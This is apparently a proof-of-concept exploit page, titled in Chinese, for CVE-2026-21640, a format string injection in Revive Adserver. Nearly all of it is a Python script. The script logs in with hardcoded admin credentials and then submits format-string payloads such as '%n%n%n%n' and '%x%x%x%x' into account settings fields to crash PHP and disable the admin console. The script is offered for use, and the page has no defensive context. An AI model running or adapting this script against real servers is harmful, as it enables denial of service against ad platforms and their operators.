CVE-2026-21640 Revive Adserver 格式化字符串注入漏洞

import requests import sys # CVE-2026-21640 PoC - Format String Injection in Revive Adserver # Target: Revive Adserver instance # Attack: Inject format string specifiers in settings to cause PHP fatal error TARGET_URL = "http://target-server.com/revive-adserver" LOGIN_URL = f"{TARGET_URL}/www/admin/login.php" SETTINGS_URL = f"{TARGET_URL}/www/admin/account-settings-update.php" USERNAME = "admin" PASSWORD = "admin123" def login(session): """Authenticate with admin credentials""" data = { "username": USERNAME, "password": PASSWORD } response = session.post(LOGIN_URL, data=data) return "login" in response.text.lower() or response.status_code == 200 def exploit_format_string_injection(session): """Inject format string specifiers in setting parameters""" # Format string payloads that can trigger PHP errors payloads = [ "%s%s%s%s", "%x%x%x%x", "%n%n%n%n", "%d%d%d%d", "%.100s%.100s", "%p%p%p%p" ] headers = { "Cookie": session.cookies.get_dict(), "Content-Type": "application/x-www-form-urlencoded" } for payload in payloads: # Inject format string in common setting parameters data = { "account_name": payload, "email_address": f"admin@{payload}.com", "submit": "Update" } response = session.post(SETTINGS_URL, data=data, headers=headers) if response.status_code != 200 or "error" in response.text.lower(): print(f"[+] Payload '{payload}' triggered error - Admin console may be disabled") return True return False def main(): session = requests.Session() print("[*] Attempting CVE-2026-21640 Format String Injection...") if not login(session): print("[-] Authentication failed") sys.exit(1) print("[+] Login successful") if exploit_format_string_injection(session): print("[!] Exploitation successful - Admin console disabled") else: print("[-] Exploitation failed") if __name__ == "__main__": main()